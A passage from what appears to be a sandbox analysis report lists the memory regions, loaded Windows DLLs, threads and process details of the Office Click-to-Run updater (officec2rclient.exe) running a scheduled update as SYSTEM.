end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2747 start_va = 0x570000 end_va = 0x570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 2748 start_va = 0x590000 end_va = 0x590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 2749 start_va = 0x1700000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 2750 start_va = 0x1ee0000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 2751 start_va = 0x2670000 end_va = 0x276ffff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 2752 start_va = 0x2880000 end_va = 0x297ffff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2753 start_va = 0x2980000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 2754 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2755 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2756 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2757 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2758 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2759 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2760 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2761 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2762 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2763 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2764 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2765 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2766 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2767 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2768 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2769 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2770 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2771 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2772 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Thread: id = 105 os_tid = 0x834 Thread: id = 258 os_tid = 0xb84 Thread: id = 260 os_tid = 0xb90 Thread: id = 264 os_tid = 0xa28 Thread: id = 266 os_tid = 0x478 Thread: id = 269 os_tid = 0xbe4 Thread: id = 271 os_tid = 0xaac Thread: id = 276 os_tid = 0x6bc Thread: id = 277 os_tid = 0x8a0 Thread: id = 278 os_tid = 0x490 Thread: id = 279 os_tid = 0x368 Thread: id = 281 os_tid = 0x9d8 Thread: id = 282 os_tid = 0x6f4 Thread: id = 284 os_tid = 0x4fc Thread: id = 290 os_tid = 0xad0 Process: id = "10" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x73cba000" os_pid = "0x830" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xbf4" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1170 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1171 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1172 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1173 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1174 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1175 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1176 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1177 start_va = 0x13fb60000 end_va = 0x140ba2fff entry_point = 0x13fb60000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 1178 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1179 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1180 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1181 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1676 start_va = 0x4c0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1677 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1678 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1679 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1680 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1681 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1682 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1683 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1684 start_va = 0x7fef35a0000 end_va = 0x7fef35c6fff entry_point = 0x7fef35a0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1685 start_va = 0x7fef7a40000 end_va = 0x7fef7ab5fff entry_point = 0x7fef7a40000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 1686 start_va = 0x7fef7b00000 end_va = 0x7fef7b02fff entry_point = 0x7fef7b00000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1687 start_va = 0x7fef7b10000 end_va = 0x7fef7b12fff entry_point = 0x7fef7b10000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1688 start_va = 0x7fef7b20000 end_va = 0x7fef7b22fff entry_point = 0x7fef7b20000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1689 start_va = 0x7fef7b30000 end_va = 0x7fef7b32fff entry_point = 0x7fef7b30000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1690 start_va = 0x7fef7b40000 end_va = 0x7fef7b44fff entry_point = 0x7fef7b40000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1691 start_va = 0x7fef7b50000 end_va = 0x7fef7b54fff entry_point = 0x7fef7b50000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1692 start_va = 0x7fef7b60000 end_va = 0x7fef7b62fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1693 start_va = 0x7fef7b70000 end_va = 0x7fef7c0cfff entry_point = 0x7fef7b70000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 1694 start_va = 0x7fef7c10000 end_va = 0x7fef7c13fff entry_point = 0x7fef7c10000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1695 start_va = 0x7fef7c20000 end_va = 0x7fef7c23fff entry_point = 0x7fef7c20000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1696 start_va = 0x7fef7c30000 end_va = 0x7fef7c32fff entry_point = 0x7fef7c30000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1697 start_va = 0x7fef7c40000 end_va = 0x7fef7c43fff entry_point = 0x7fef7c40000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1698 start_va = 0x7fef7c50000 end_va = 0x7fef7c52fff entry_point = 0x7fef7c50000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1699 start_va = 0x7fef7c60000 end_va = 0x7fef7c62fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1700 start_va = 0x7fef7c70000 end_va = 0x7fef7c72fff entry_point = 0x7fef7c70000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1701 start_va = 0x7fef7c80000 end_va = 0x7fef7c82fff entry_point = 0x7fef7c80000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1702 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff entry_point = 0x7fef7c90000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1703 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff entry_point = 0x7fef7ca0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1704 start_va = 0x7fef7cb0000 end_va = 0x7fef7da1fff entry_point = 0x7fef7cb0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 1705 start_va = 0x7fef7db0000 end_va = 0x7fef7db3fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1706 start_va = 0x7fef7dc0000 end_va = 0x7fef7dd6fff entry_point = 0x7fef7dc0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 1707 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1708 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 1709 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1710 start_va = 0x7fef9320000 end_va = 0x7fef933dfff entry_point = 0x7fef9320000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 1711 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1712 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1713 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1714 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1715 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1716 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1717 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1718 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1719 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1720 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1721 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1722 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1723 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1724 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1725 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1726 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1727 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1728 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1729 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1730 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1731 start_va = 0x7fef9170000 end_va = 0x7fef91c0fff entry_point = 0x7fef9170000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 2564 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2565 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2566 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2567 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 2568 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2569 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2570 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2571 start_va = 0x310000 end_va = 0x497fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 2572 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2573 start_va = 0x5c0000 end_va = 0x740fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2574 start_va = 0x770000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 2575 start_va = 0x780000 end_va = 0x83ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2576 start_va = 0x840000 end_va = 0xc32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2577 start_va = 0xc40000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 2578 start_va = 0xdc0000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 2579 start_va = 0xe10000 end_va = 0xe8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 2580 start_va = 0xe90000 end_va = 0x115efff entry_point = 0xe90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2581 start_va = 0x1180000 end_va = 0x127ffff entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 2582 start_va = 0x12c0000 end_va = 0x13bffff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 2583 start_va = 0x7feebdc0000 end_va = 0x7feebea1fff entry_point = 0x7feebdc0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2584 start_va 